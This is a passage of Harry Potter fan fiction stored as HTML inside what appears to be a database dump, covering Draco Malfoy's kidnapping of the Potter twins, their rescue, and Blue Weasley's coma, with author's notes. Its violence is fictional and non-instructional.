her, his hands closing around her neck. She choked, her hands flailing out to find anything she could to get him away from her. </p>\n\n<p>&#8220;Bitch,&#8221; Draco growled, his cheek bleeding from a deep scratch. &#8220;I&#8217;ll kill you now and you&#8217;ll go right along with those two brats&#8230;&#8221;</p>\n\n<p>&#8220;Over my dead body!&#8221; Hermione clawed at him once more and then her knee came up right between his legs. Draco fell back, howling in pain as Hermione scrambled to the other side of the dingy room for one of the chains hanging from the wall. She was trying to pull one off when he tackled her from behind. </p>\n\n<p>&#8220;You&#8217;ll pay for that you bitch!&#8221; Draco pushed her to the ground, pulling up hard on her hair. He put a knee in her back and squeezed her throat with his other hand.</p>\n\n<p>Hermione could barely see; she reached out blindly to find any sort of assistance. Her fingers closed over something hard, and then all of a sudden there was a tugging in her stomach and Draco&#8217;s hands slipped off her body and she was travelling away from the dungeons. </p>\n\n<p>The brightness of the kitchen overwhelmed Hermione as she fell onto the floor. &#8220;Hermione!&#8221; Lavender pulled her friend up. She gasped when she saw Hermione&#8217;s bruised cheek. &#8220;Grace!&#8221; </p>\n\n<p>&#8220;Oh boy,&#8221; Grace Finch Fletchley sighed when she saw Hermione. &#8220;What happened to you?&#8221; she asked, trying to sit Hermione in a chair.</p>\n\n<p>&#8220;Oh my God&#8230;&#8221; Hermione started to rock back and forth. &#8220;He&#8217;s got the kids, he&#8217;s got them. He&#8217;s going to kill them&#8230;&#8221; she began muttering. </p>\n\n<p>&#8220;What?&#8221; Lavender crouched down. &#8220;Hermione&#8230; what?&#8221;</p>\n\n<p>Grace sat down across from Hermione. &#8220;Calm down, Hermione. What happened?&#8221; she asked in her cool professional tone of voice.</p>\n\n<p>&#8220;Oh God&#8230; he&#8217;s got them Grace. He&#8217;s got my children!&#8221; Hermione looked up, her eyes filled with tears and spilling over her cheeks, mixing with the blood that was drying. &#8220;You have to help me go back! I have to go back! I left them there!&#8221; she started shrieking. </p>\n\n<p>Grace pulled her best friend over into her arms. &#8220;Lavender, go send a note to Harry&#8230; I&#8217;m taking her to St. Mungo&#8217;s, I don&#8217;t know what happened to her.&#8221; She tried hard to remain professional but it was difficult. </p>\n\n<p>&#8220;Okay,&#8221; Lavender nodded, her face pale as she ran from the room to get some parchment to write on. </p>\n\n<p>&#8220;Come on, Hermione,&#8221; Grace pulled the other woman to her feet. Hermione was numb at this point, moving but not seeing what she was doing. Grace remembered the time Hermione began getting memory flashes of what that Draco Malfoy had done to her; she had been much the same way, rather catatonic. </p>\n\n<p>They got to the hospital and Grace used her pull to put Hermione immediately into a room. She assigned several aides to gather as many spells as they could to pull her out of the state she was in, but as soon as Grace saw Harry striding towards her in the hallway she knew they wouldn&#8217;t be needed.</p>\n\n<p>&#8220;What happened?&#8221; his tone was brisk but she could sense the underlying concern. </p>\n\n<p>&#8220;It&#8217;s Hermione,&#8221; Grace replied. &#8220;I came over because I had just heard about your&#8230; news&#8230; we were on vacation with the kids and I hadn&#8217;t heard of it until just this morning&#8230; and I wanted to see if there was anything I could do. Lavender was over as well&#8230; but Hermione had disappeared. We were debating on what to do with this&#8230;&#8221; she held the note out gingerly to Harry who took it. &#8220;&#8230;When she reappeared right in the kitchen.&#8221;</p>\n\n<p>&#8220;Shit&#8230;&#8221; Harry swore under his breath as he read the note, cursing himself for not being there.</p>\n\n<p>&#8220;Harry,&#8221; Grace put her hand on his arm. &#8220;She was bruised up rather nastily, and was muttering about how &#8216;he&#8217; had the children. She went into a catatonic state&#8230; and so I brought her here.&#8221;</p>\n\n<p>&#8220;Thanks Grace,&#8221; Harry said. </p>\n\n<p>&#8220;She&#8217;s right in there.&#8221; Grace nodded towards the door on their left. &#8220;Get her out so we can find your children okay?&#8221;</p>\n\n<p>Harry nodded wordlessly, blaming himself for this. If he hadn&#8217;t been so stupid and stubborn he&#8217;d have been home and could have prevented her being hurt. He went into the room, pausing momentarily in the doorway. </p>\n\n<p>Hermione lay in the bed, her eyes staring straight up at the ceiling; she was still muttering under her breath. &#8220;Hermione,&#8221; Harry spoke, coming closer to the bed. She made no movement, continuing to stare up. &#8220;Hermione, love it&#8217;s me, it&#8217;s Harry.&#8221; He took her hand and squeezed it gently. It took several more minutes for her to actually respond and turn her head towards him.</p>\n\n<p>&#8220;Harry,&#8221; Hermione&#8217;s eyes filled with new tears and she sat up to reach for him. &#8220;Harry he&#8217;s got them... you have to go find them before he kills them&#8230;&#8221; </p>\n\n<p>&#8220;Who Hermione?&#8221; he pulled her back and looked in her eyes. &#8220;Who took them?&#8221;</p>\n\n<p>&#8220;Draco,&#8221; Hermione managed. &#8220;It was Draco Malfoy.&#8221;</p>\n\n<p>&#8220;Draco?&#8221; Harry repeated in disbelief, sitting back as if he had been slapped. &#8220;What&#8230;how&#8230;?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know&#8230; but he has them. Harry he sent me this as a portkey&#8230;&#8220; she opened her hand where she had been clutching her wedding band. </p>\n\n<p>Harry picked it up, still disbelieving. &#8220;When&#8230; when did he get this?&#8221;</p>\n\n<p>&#8220;He must have taken it when he had taken me.&#8221; Hermione replied. &#8220;Harry, he&#8217;s going to use the kids to bring&#8230; to bring back Voldemort. You have to get over there&#8230; Harry please.&#8221; </p>\n\n<p>Harry nodded, swallowing hard. &#8220;His house&#8230; its Unplottable. I&#8217;m going to have to have Ron put a trace on this at the Ministry.&#8221; Hermione nodded and Harry rushed from the room. He ran into Ron and Lavender in the corridor.</p>\n\n<p>&#8220;It was Malfoy,&#8221; his green eyes were burning in anger. &#8220;He&#8217;s taken my children.&#8221; He held the ring out to Ron. &#8220;He sent Hermione this as a portkey&#8230; Ron, can you take it back to the Ministry and have them put a trace on it?&#8221;</p>\n\n<p>Ron nodded. &#8220;It&#8217;ll take an hour.&#8221;</p>\n\n<p>&#8220;Fine.&#8221; Harry replied. &#8220;I don&#8217;t care. Bring it back and then I&#8217;m going after him. If I have to, I&#8217;m going to kill him.&#8221; His voice was deadly calm. </p>\n\n<p>Ron nodded again. &#8220;I&#8217;ll be back when I get it. And Harry, I&#8217;m going with you.&#8221; </p>\n\n<p>Harry had no will in him to argue. &#8220;All right. Just&#8230; hurry&#8230; please?&#8221;</p>\n\n<p>&#8220;I will.&#8221; Ron disappeared down the hallway. </p>\n\n<p>&#8220;I&#8217;m going to go talk to Grace,&#8221; Lavender said. She wanted to see Hermione but she knew it was more important for Harry to be with his wife right now. </p>\n\n<p>Harry took her arm as she was about to hurry away. &#8220;Can you owl Caty for me? I need to be with Hermione.&#8221;</p>\n\n<p>&#8220;Already done,&#8221; Lavender smiled at him. &#8220;Go on, go be with Hermione.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; Harry hugged her a moment then hurried back in the room. Hermione was looking out the window but turned when her husband came back in.</p>\n\n<p>&#8220;Ron&#8217;s checking the trace on the portkey,&#8221; Harry said. &#8220;He said he&#8217;d have it in about an hour.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Hermione replied. The bruising in her cheek was already going down and she could see Harry&#8217;s eyes travelling all over her face. &#8220;I&#8217;m all right,&#8221; she fiddled with her blanket.</p>\n\n<p>Harry sighed, moving over and sitting down on the edge of her bed. &#8220;If I had been there you wouldn&#8217;t have been injured to begin with.&#8221;</p>\n\n<p>Hermione wiped her eyes with her free hand; Harry had just taken her other in his. &#8220;You don&#8217;t know that. Harry, even if you had been there I&#8217;d have gone wherever that note said to go by myself.&#8221;</p>\n\n<p>&#8220;Yeah, I know,&#8221; Harry smiled at her for the first time in weeks. &#8220;You&#8217;re very thick headed like that,&#8221; he tried to tease.</p>\n\n<p>Hermione knew he was only covering up his fear of what was coming. &#8220;Yeah, just like you,&#8221; she replied and they both smiled at each other. &#8220;You&#8217;ll get them back, right Harry?&#8221;</p>\n\n<p>&#8220;Safe and sound- I&#8217;m not leaving without them.&#8221; Harry replied, his eyes turning serious. </p>\n\n<p>&#8220;I know,&#8221; Hermione replied as Harry leaned over, threading his fingers through her hair. &#8220;None of it really matters anymore Harry,&#8221; he knew what she was talking about. </p>\n\n<p>He nodded as she moved over so he could squeeze next to her on the narrow bed. She leaned over so her head was resting on his chest as his arms came around and stroked her back. </p>\n\n<p>They stayed that way, just lying together in silence for awhile before they heard some commotion in the corridor. </p>\n\n<p>&#8220;What happened? Did they find my brother and sister?&#8221; Caitlyn was asking in a high, upset voice.</p>\n\n<p>&#8220;No&#8230; it&#8217;s not your brother and sister,&#8221; Grace was replying in a lower voice. Harry looked up and saw her pull his oldest daughter to the side and explain what had happened, and a moment after that Caitlyn was in the door and practically on the bed. </p>\n\n<p>&#8220;Mum are you all right?&#8221; Caitlyn was pale, her hair unbraided and falling into her face. Her weary eyes rested upon her parents in the bed.</p>\n\n<p>&#8220;I&#8217;m all right love,&#8221; Hermione sat up and reached for her daughter. </p>\n\n<p>&#8220;You found them?&#8221; Caitlyn&#8217;s voice was soft.</p>\n\n<p>Hermione looked at Harry, who nodded. &#8220;Caty&#8230; we have to go back and get them. They&#8217;re being held in the same place your mother was&#8230; by the same person.&#8221;</p>\n\n<p>&#8220;But&#8230; how?&#8221; Caitlyn was confused. &#8220;I thought he was in Azkaban!&#8221;</p>\n\n<p>&#8220;So did we,&#8221; Hermione hugged her daughter. &#8220;Ron is putting a trace on the portkey I was sent, and your father is going to get them.&#8221; </p>\n\n<p>Harry slid his arms around his wife and oldest child. &#8220;I&#8217;m going to get them and bring them back,&#8221; he said again, as if reassuring himself. </p>\n\n<p>&#8220;I know,&#8221; Hermione replied, pulling her family in closer. </p>\n\n<p>Blue Weasley was almost running down the corridor, upon receiving the owl from his mother he had rushed to St. Mungo&#8217;s as fast as he could. He saw his father talking to Grace and bolted to his side.</p>\n\n<p>&#8220;What&#8217;s going on?&#8221; he asked.</p>\n\n<p>&#8220;Oh, Blue!&#8221; Ron&#8217;s tone was relieved. &#8220;I&#8217;m glad you&#8217;re here,&#8221;</p>\n\n<p>&#8220;What happened?&#8221; Blue asked again. &#8220;Did you find the kids?&#8221;</p>\n\n<p>Ron sighed. &#8220;In a sense of speaking, yes.&#8221; He filled his son in on what had happened to Hermione. &#8220;I&#8217;ve just gotten the ring back, so we can go to Malfoy&#8217;s and&#8230; take care of things.&#8221;</p>\n\n<p>Blue nodded as they went to Hermione&#8217;s room, where Lavender had joined them. &#8220;Harry, we&#8217;ve got the trace.&#8221;</p>\n\n<p>Harry looked up. &#8220;Let&#8217;s go then. I don&#8217;t want to waste any more time.&#8221; Ron nodded. &#8220;We&#8217;ll bring them back here, Grace can check them over,&#8221; Harry said to his wife. </p>\n\n<p>&#8220;Okay,&#8221; Hermione replied, her stomach turning unpleasantly. &#8220;Be careful Harry,&#8221; he leaned over and hugged her, kissing her on the lips quickly.</p>\n\n<p>Ron was in the midst of hugging his wife when his son spoke. &#8220;I&#8217;m going too,&#8221; Blue said.</p>\n\n<p>&#8220;No,&#8221; Harry replied immediately, looking to Ron. &#8220;No, we can&#8217;t take the chance that something might happen. It&#8217;s best if Ron and I go.&#8221;</p>\n\n<p>&#8220;You&#8217;ll need help,&#8221; Blue insisted. &#8220;What if he has other guys there to help him?&#8221;</p>\n\n<p>&#8220;Harry, he has Crabbe and Goyle there,&#8221; Hermione said. </p>\n\n<p>&#8220;You can&#8217;t really stop me from going,&#8221; Blue spoke again. &#8220;I can help you get the twins back.&#8221;</p>\n\n<p>&#8220;I&#8217;m going too,&#8221; Caitlyn insisted, standing up.</p>\n\n<p>&#8220;No!&#8221; Harry spoke more forcefully this time. &#8220;Caitlyn you stay here with your mother. I&#8217;m not risking three of my children today.&#8221;</p>\n\n<p>Caitlyn looked at her father in shock as her mother took her hand. &#8220;Caty, stay with me,&#8221; Hermione was thinking of what Draco said about her and was not about to let her go anywhere near him. &#8220;I need you here,&#8221; she squeezed her daughter&#8217;s hand. Caitlyn looked from one parent to the other, her mouth opened as if to argue, but then thought better of it.</p>\n\n<p>&#8220;All right,&#8221; she relented, moving up to sit closer to her mother. </p>\n\n<p>&#8220;Well,&#8221; Harry said, his jaw set. &#8220;We&#8217;d better go.&#8221; His tone was flat and finite.</p>\n\n<p>Ron and Blue nodded. The room was completely silent as the three men walked out. Blue turned as he passed through the doorframe and looked back at Caitlyn. She stared back at him, their eyes holding for a long moment before he turned away and left. </p>\n\n<p>&#8220;Mum I&#8217;m scared,&#8221; Caitlyn said in a tiny voice. Hermione pulled her into a large hug. </p>\n\n<p>&#8220;I know,&#8221; she replied. &#8220;I am too,&#8221;</p>\n\n<p>Harry, Ron and Blue each touched the ring as Harry muttered the proper incantation. Within moments they were being tugged through the portkey and were deposited into the ruins of a once great mansion.</p>\n\n<p>&#8220;Shit,&#8221; Ron said under his breath. &#8220;This place has certainly gone to hell&#8230;&#8221;</p>\n\n<p>Harry didn&#8217;t say anything and Blue was too overwhelmed to even look at the place. The three of them went into what was left of the house, which looked to be the house elf quarters, and down a narrow stairway.</p>\n\n<p>&#8220;Ugh,&#8221; Blue put his arm up to his nose. &#8220;That smell is disgusting,&#8221;</p>\n\n<p>&#8220;No kidding,&#8221; Ron replied. &#8220;Smells like something died down here,&#8221; he looked at Harry and realised what he had said. &#8220;Sorry, I didn&#8217;t mean that.&#8221;</p>\n\n<p>&#8220;I know,&#8221; Harry replied, his voice a forced calm.&nbsp; &#8220;Let&#8217;s just get them, okay? Get my kids and get them out of here&#8230;&#8221;</p>\n\n<p>&#8220;I&#8217;ve been expecting you,&#8221; a cold voice drawled to their right. Harry spun around, immediately pointing his wand out. &#8220;Certainly took you long enough to get here, much like the Mudblood.&#8221;</p>\n\n<p>&#8220;Malfoy,&#8221; Harry gritted his teeth, ignoring the insult for fear he might let his wand get the better of him. &#8220;Where are my children?&#8221;</p>\n\n<p>&#8220;All in good time, Potter,&#8221; Draco answered. &#8220;There&#8217;s no rush is there?&#8221; his eyes narrowed. &#8220;What have we here?&#8221; Weasel, and&#8230;&#8221; his eyes looked behind Ron. &#8220;Weasel Junior&#8230;&#8221;</p>\n\n<p>&#8220;Leave them out of this,&#8221; Harry replied, his wand still fixed firmly on his archenemy. &#8220;How did you get out of Azkaban?&#8221;</p>\n\n<p>&#8220;That&#8217;s my business, not yours,&#8221; Draco retorted. </p>\n\n<p>&#8220;Just give me my children,&#8221; Harry replied in a somewhat calmer tone. &#8220;I&#8217;ll see to it you go back peacefully.&#8221;</p>\n\n<p>&#8220;Not a chance in Hell that&#8217;s going to happen,&#8221; Draco smirked. &#8220;Potter, you have no idea what I plan on doing with your <i>precious</i> brats.&#8221;</p>\n\n<p>Ron gripped Harry&#8217;s arm to keep him from suddenly lunging out. &#8220;What are you talking about Malfoy?&#8221; he asked in a cold voice.</p>\n\n<p>&#8220;What, your Mudblood wife didn&#8217;t tell you?&#8221; Draco&#8217;s lips curled up in a horrific smile. &#8220;Your children will be the first to be sacrificed to bring back the Dark Lord,&#8221; his eyes took on a glow. &#8220;After they die and he comes back, you will know what it feels like to lose EVERYTHING!&#8221; Draco finished with a shout.</p>\n\n<p>Harry felt rage coursing through him as Malfoy spoke, his hand clenching into a fist. It acted of its own accord and flew forward, smashing into the side of Malfoy&#8217;s face. </p>\n\n<p>&#8220;You will NEVER hurt my children!&#8221; Harry roared. His hands wound around Malfoy&#8217;s neck and they fell onto the floor, slugging punches at one another. His eyes bore into Malfoy&#8217;s, and he could see shreds of sanity snap behind them.</p>\n\n<p>&#8220;Shit,&#8221; Ron said. &#8220;We have to help him.&#8221; He turned around to see a great hulking shadow come into the room and take a swing at him. &#8220;Son of a bitch,&#8221; he hit back at Goyle, while his son started wrestling with Crabbe. </p>\n\n<p>&#8220;You will never be free of me,&#8221; Draco sneered, pushing Harry off him.</p>\n\n<p>&#8220;Like hell,&#8221; Harry replied through clenched teeth. He jabbed his wand out at Draco and shot out the first curse that came to mind.</p>\n\n<p>Blue struggled with the much larger man, who actually seemed quite stupid. He looked to his left and saw Harry shooting curse after curse at Draco, who ducked them and retaliated. Trying hard to pull his hand from the two ton fists, he was able to reach back and grab his wand. </p>\n\n<p>&#8220;Petrificus Totalus!&#8221; he shouted and Crabbe was frozen stiff and falling back. He backed away from the large body and was stunned to see two bodies huddled together behind a large rotting stone. &#8220;What are you two doing in here?&#8221; Blue asked in shock, rushing over to them.</p>\n\n<p>&#8220;We heard Daddy,&#8221; Corinne said, her eyes round and scared. She was clutching Carl&#8217;s hand tightly. </p>\n\n<p>&#8220;Well let&#8217;s get you two out of here,&#8221; Blue pulled them both safely into his arms. </p>\n\n<p>Draco was in the midst of shooting a particularly nasty jinx at Harry when he caught a flash of red in the corner of his eye. He saw Weasel&#8217;s son trying to sneak the two children out of the room, how they&#8217;d gotten in there Draco didn&#8217;t know but he didn&#8217;t care.</p>\n\n<p>&#8220;CRUCIO!&#8221; he screamed, pointing his wand in Blue&#8217;s direction. Blue felt pain worse than anything he&#8217;d ever experienced coursing through his body and he screamed, dropping the twins as he bent over. He was barely able to make out the horrified look on their eyes.</p>\n\n<p>Ron used every last bit of his strength to push Goyle at the wall. He gave a strangled cry as a rusty iron spike protruded from the larger man&#8217;s shoulder and nearly impaling him as well. Ron backed away, then suddenly heard Malfoy scream and spun around to see his son doubled over. </p>\n\n<p>&#8220;Blue!&#8221; Ron was sick with fear as he tore over to his son. Harry attacked Malfoy from behind, but Malfoy barely flinched and did not stop his curse. </p>\n\n<p>&#8220;Take them&#8230;&#8221; Blue wheezed. &#8220;Get them out of here I&#8217;ll be fine just get them out&#8230;&#8221; Ron looked at Draco, who looked as if he&#8217;d gone mad. There was no light in his pale grey eyes and they focused solely on Blue and the curse.&nbsp; Ron looked up at Harry, who seemed to understand. They each grabbed one of the twins and rushed out. </p>\n\n<p>&#8220;How are we getting back?&#8221; Ron asked as they rushed up the stairs to where Harry had put the ring for safekeeping. He had not wanted to bring it down with them in case it was destroyed.</p>\n\n<p>&#8220;Now that we know where we are, we can apparate,&#8221; Harry replied. Corinne clung to her father&#8217;s neck while burying her face in his shoulder. </p>\n\n<p>&#8220;All right,&#8221; Ron&#8217;s face was pale and Harry felt a horrible pang of guilt. It was Ron who was suffering now; it was <i>Ron</i> whose son was downstairs being tortured by the Cruciatus Curse while they took <i>his </i>children to safety. </p>\n\n<p>&#8220;Come on,&#8221; Harry muttered, grabbing the key with his free hand. The men clung onto the children as they were pulled away. </p>\n\n<p>Hermione was on pins and needles, alternately squeezing Caitlyn&#8217;s hand and staring out the window. Caitlyn sat motionless next to her mother while Lavender paced the room. Neither of them had spoken except to wonder out loud what was happening at that moment.&nbsp; </p>\n\n<p>At that moment, they heard some crashing down the hall and Lavender and Caitlyn rushed to the doorway to see two larger figures barrelling down the corridor. </p>\n\n<p>&#8220;Move!&#8221; Harry commanded as they rushed into the room. He and Ron unceremoniously put the twins down on the bed. </p>\n\n<p>&#8220;We have to go back, Blue&#8217;s still there,&#8221; Ron quickly told his wife. She clapped her hands over her mouth and Harry saw his daughter do the same out of the corner of his eye. </p>\n\n<p>Hermione&#8217;s eyes filled with tears as her husband and best friend ran out of the room. Her babies crawled up to her and she hugged them hard. &#8220;Caty, go get Grace will you?&#8221; she fought to keep her voice calm. </p>\n\n<p>Caitlyn nodded and went to fetch the other woman. Lavender sat on the edge of the bed, her eyes staring straight at the wall. </p>\n\n<p>&#8220;Aunt Lavender?&#8221; Corinne&#8217;s voice was small. &#8220;We&#8217;re sorry we got Blue hurt,&#8221; her large green were filled with tears. </p>\n\n<p>Lavender turned, reaching out to stroke the long curls. &#8220;Oh love, I&#8217;m not angry, I&#8217;ll bet you Blue is just fine,&#8221; she tried to smile. &#8220;I&#8217;m just so happy you and your brother are safe now,&#8221; she hugged the little girl and looked at Hermione. </p>\n\n<p>&#8220;I know,&#8221; Hermione said softly. She knew how terrified Lavender had become, how in a matter of seconds the situation had completely changed. Now it was her child, her <i>only</i> child, in danger. </p>\n\n<p>Harry and Ron were able to apparate back to Malfoy&#8217;s. Without saying a word, they rushed back down the stairs, straining to hear Blue but only hearing the maniacal laughter of an insane man instead. </p>\n\n<p>Barrelling back into the room, Ron immediately ran full speed at Draco, finally breaking the curse. &#8220;You BASTARD!&#8221; He shouted, pushing the other man to the ground. Harry rushed forward to try and pull the unconscious Blue away from the grappling. </p>\n\n<p>Draco snarled up at Ron, bringing his knee up and kicking him hard. Ron howled with pain and fell to the ground, trying to scramble up as Draco pointed his wand at him.</p>\n\n<p>&#8220;Don&#8217;t do it Malfoy,&#8221; Harry spoke up, moving away from the prone figure of his best friend&#8217;s son.</p>\n\n<p>&#8220;Go to hell, Potter,&#8221; Draco spoke through clenched teeth. &#8220;I&#8217;ll send Weasel along ahead to meet you there,&#8221; Ron staggered to his feet, breathing hard as the wand was aimed at him.&nbsp; &#8220;Avada Kedavra!&#8221; he screamed and a stream of green light came from the wand and headed for Ron.</p>\n\n<p>Ron could hardly move, but something propelled him out of the way at the last second, the killing curse just grazing his trousers. It went straight into the wall behind him and all three men turned to look as a loud rumbling began to echo through the dungeons. </p>\n\n<p>&#8220;It&#8217;s collapsing!&#8221; Harry shouted. The ceiling began to crack as the rumbling grew louder as Harry grabbed Ron and pulled him out of the way.</p>\n\n<p>&#8220;Blue&#8217;s in there!&#8221; Ron shouted as the ceiling caved in, rotting rock and weeds spilling onto the ground. Harry had to restrain him as the centre of the ceiling fell down. An anguished cry and a sickening crunch was heard as the dust flew thick throughout the room.</p>\n\n<p>&#8220;BLUE!&#8221; Ron pulled hard and broke free of Harry&#8217;s grip. Harry ran after him into the room, coughing and waving hand to try and clear the dust away. He began to grab larger pieces of rock, a sick feeling in his stomach, hoping that Blue wasn&#8217;t underneath it all. Neither of them could see for several minutes as they tried to pull off the stone, their hands growing bruised and bloody on the sharper pieces. </p>\n\n<p>It was another few moments before Ron let out a rather triumphant cry. &#8220;He&#8217;s over here! The stone only fell on his leg!&#8221; Harry went through the clearing dust as Ron cradled his son&#8217;s head. </p>\n\n<p>Harry grunted as he pulled the large piece of rock off the younger man&#8217;s leg. Blue was still completely motionless, not even a grunt from him. &#8220;His leg is broken,&#8221; he said, bending down and waving the dust away. </p>\n\n<p>&#8220;I need to get him back to the hospital,&#8221; Ron replied in a tight voice. Harry knew Ron was simply trying to keep it all inside. </p>\n\n<p>&#8220;I&#8217;m going to have to stay here,&#8221; Harry replied. &#8220;I think Malfoy&#8230;&#8221; the two of them grimaced. &#8220;&#8230;is under there.&#8221;</p>\n\n<p>Ron nodded. &#8220;As soon as I can get him situated I&#8217;ll send Ministry officials here. I&#8230; I&#8217;m going to stay at the hospital&#8230;&#8221; his tone turned slightly shaky.</p>\n\n<p>&#8220;I&#8217;ll be there as soon as I can,&#8221; Harry helped Ron prop Blue up and he watched Ron carry his son out of the room. As soon as he was sure that Ron was gone, he let out a loud scream that almost woke up the pale (and rather bloodless) Goyle who was still impaled on the wall. </p>\n\n<p>&#8220;Why can&#8217;t anything just BLOODY work out?&#8221; he kicked hard at a stone. &#8220;First it&#8217;s my wife, then my children and now it&#8217;s Ron&#8217;s son! I can&#8217;t stand this anymore!&#8221;</p>\n\n<p>Ron watched as Grace and several mediwizards levitated his son onto a bed and began working spell after spell over him. Lavender clutched his arm tightly and he hugged her hard. &#8220;He&#8217;s going to be all right,&#8221; he said, more for her benefit than his.</p>\n\n<p>&#8220;What happened?&#8221; Grace asked, businesslike.</p>\n\n<p>&#8220;He uh&#8230; he was under the Cruciatus Curse,&#8221; Ron replied hoarsely. &#8220;For probably about ten minutes or more&#8230;&#8221; his shaking hand pushed his hair off his forehead. &#8220;And um&#8230; then&#8230; the stone fell on his leg and broke it when the ceiling collapsed.&#8221; Ron fell into a chair and began to sob, to cry harder than he ever had before. </p>\n\n<p>Harry arrived back at the hospital an hour later, leaving the Ministry workers to take care of the body of Draco Malfoy and his two goons. He walked slowly down the hall, afraid of what he would find in the rooms. </p>\n\n<p>&#8220;Daddy!&#8221; his babies ran to him as soon as he came in the doorway. </p>\n\n<p>&#8220;Ohhh,&#8221; He knelt down and hugged them as tight as he could. Harry never wanted to let them go again, he wanted to hold them to him for the rest of his life. He looked up and saw Hermione and Caitlyn sitting next to one another. &#8220;How&#8217;s&#8230; how&#8217;s Blue?&#8221; Harry cleared his throat. </p>\n\n<p>Hermione shook her head and Harry closed his eyes, feeling the overwhelming surge of guilt wash over him. He picked his daughter up and kissed her cheek as Carl clambered on the bed next to his mother. </p>\n\n<p>&#8220;He&#8217;s going to wake up, right Dad?&#8221; Caitlyn asked weakly. &#8220;He&#8217;s going to wake up, right?&#8221;</p>\n\n<p><b></b></p>\n\n<p><b>A/N: WOW, what a chapter&#8230; so much action there. That was my first real action scene, I hope it was good enough! Anyways, I PROMISE this time you guys won&#8217;t have to wait for months for a new chapter! And if you think this is a cliffie&#8230;. Heh&#8230; just wait for the next one.</b></p>\n\n<p><b></b></p>\n\n<p><b>See you then! And please review! :D</b></p> '),
	(84, 9, ' <p><b>A/N: Thanks to you guys who took the time to review the last chapter. I appreciate ALL your comments. I hope you won&#8217;t hunt me down and stake me after the ending in this chapter&#8230;</b></p>\n\n<p><b></b></p>\n\n<p><b>Anyways&#8230; if you want some mood music, My Immortal by Evanescence, Wherever You Will Go by The Calling, Only Time by Enya, Into the West by Annie Lennox&#8230; any of those will work.</b></p>\n\n<p><b></b></p>\n\n<p><b>Please enjoy, and review!</b></p>\n\n<p>It had been a fortnight since Blue had fallen into a coma; two weeks since the twins were brought safely home. It was a miracle that neither one seemed to be suffering from many nightmares except for the first few nights. Corinne seemed to be shy around others at first, but warmed back up to her usual self quickly.</p>\n\n<p>Caitlyn had hardly left the hospital and Blue&#8217;s bedside. Harry had had to forcibly drag her away the first few days; after that she agreed to go home in the evenings, but was unable to sleep almost every night. She hardly ate either; Harry and Hermione were both growing increasingly worried about their daughter.</p>\n\n<p>&#8220;Ron?&#8221; Grace poked her head around the wall of the waiting room. &#8220;Lavender?&#8221; Both of them got up, their faces grey with lack of sleep and worry.</p>\n\n<p>&#8220;Grace.&#8221; Ron said, gripping his wife&#8217;s hand tightly.</p>\n\n<p>&#8220;Come with me.&#8221; She didn&#8217;t smile as she led them into Blue&#8217;s room, her smart white robe swishing around the door as she closed it behind them.</p>\n\n<p>&#8220;What&#8217;s the latest?&#8221; Ron asked listlessly as the three of them sat down on the uncomfortable hospital chairs. &#8220;Did any of those spells work?&#8221;</p>\n\n<p>Grace bit her lip. &#8220;No.&#8221; she answered quietly, looking down at her charts. &#8220;I&#8217;m so sorry.&#8221; She fought back tears that were threatening to fall. She had not wanted to head up Blue&#8217;s case, for the personal reasons, but the other medi-wizards thought it fine that she did, and Ron and Lavender both said they trusted her. </p>\n\n<p>Lavender let out a long disheartened sigh and buried her face in her hands. Ron clenched his fists and stalked to the window, staring outside as if that would alleviate his grief.</p>\n\n<p>&#8220;There&#8217;s nothing else?&#8221; Lavender asked in a quiet voice. &#8220;No other spells&#8230; anything?&#8221; the hope in her voice was almost too much for Grace to bear.</p>\n\n<p>&#8220;I don&#8217;t think so.&#8221; She answered softly. &#8220;I&#8217;ve got as many people as I can spare researching this to find any sort of cure but we&#8217;ve had no results so far.&#8221; Lavender began to sob and Ron was instantly at her side.</p>\n\n<p>&#8220;Is there anything&#8230;ANYTHING else?&#8221; he asked, desperation creeping into his voice. &#8220;There has to be something&#8230;&#8221;</p>\n\n<p>&#8220;The only thing I can tell you is time.&#8221; Grace said. &#8220;His body went through such trauma with that curse, having it on him for so long, that it needs all this time to recover. But even our spells should have woken him up by now. The only ones that work are the ones keeping him alive this very moment.&#8221;</p>\n\n<p>All three of them looked towards the bed, where Blue&#8217;s chest rose and fell steadily, his face was quiet and still, not even a flicker under his eyelids.</p>\n\n<p>&#8220;As a medi-wizard&#8230;&#8221; Grace began, unsure of how to phrase her words. &#8220;I would say that his outlook is&#8230;. bleak&#8230;at best.&#8221; She paused for a moment. &#8220;As a friend to the both of you, I will tell you that the chances of him waking up are slim to none. I won&#8217;t lie to either of you.&#8221;</p>\n\n<p>Ron dipped his head; the tears that had threatened and stung his eyes fell freely. He felt Lavender sway in the chair next to him. He pulled her into his arms and they both shook with violent tears. Grace clutched her charts in her hand tightly as her own tears came.</p>\n\n<p>&#8220;Would you mind giving us a minute alone?&#8221; Ron asked, looking up from where he held his wife closely. &#8220;Lav and I need&#8230;. to talk&#8230;.&#8221;</p>\n\n<p>&#8220;Of course.&#8221; Grace nodded. &#8220;I&#8217;ll be in my office when you need me.&#8221; She turned and left, closing the door softly behind her.</p>\n\n<p>&#8220;Ron!&#8221; Lavender sobbed. &#8220;We can&#8217;t let him go! I won&#8217;t let him go!&#8221;</p>\n\n<p>&#8220;Lav&#8230;&#8221; Ron started. &#8220;We need to really talk about this.&#8221;</p>\n\n<p>&#8220;What&#8217;s there to talk about?&#8221; Lavender asked shrilly. &#8220;I&#8217;m not letting him die!&#8221;</p>\n\n<p>&#8220;I don&#8217;t want him to die either!&#8221; Ron burst out. &#8220;But Grace is right; those spells they used on him were some of the most complex ones ever created. They should have woken him up even if he&#8217;d been enchanted to sleep the rest of his life.&#8221; He gripped his wife&#8217;s shoulders. &#8220;The last thing I want to do, the last thing, is to give up on him.&#8221;</p>\n\n<p>&#8220;Then why are you even bringing it up?&#8221; Lavender asked.</p>\n\n<p>&#8220;Because&#8230;.&#8221; Ron sat back and pushed his hair off his face. &#8220;Because we have to do what&#8217;s best for Blue as well. If he&#8217;s not going to wake up, then we&#8230; owe it to him, to let him go where he won&#8217;t be in any pain.&#8221;</p>\n\n<p>Lavender was silent. &#8220;Is he really in pain?&#8221; she asked, her voice tiny.</p>\n\n<p>&#8220;Most likely.&#8221; Ron&#8217;s mouth was dry as he thought of his son hurting. &#8220;But we have to make this decision together.&#8221; He took her hands in his. &#8220;If he doesn&#8217;t wake up by&#8230;tomorrow&#8230;.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want him to be in pain, Ron.&#8221; Lavender whispered. &#8220;But I 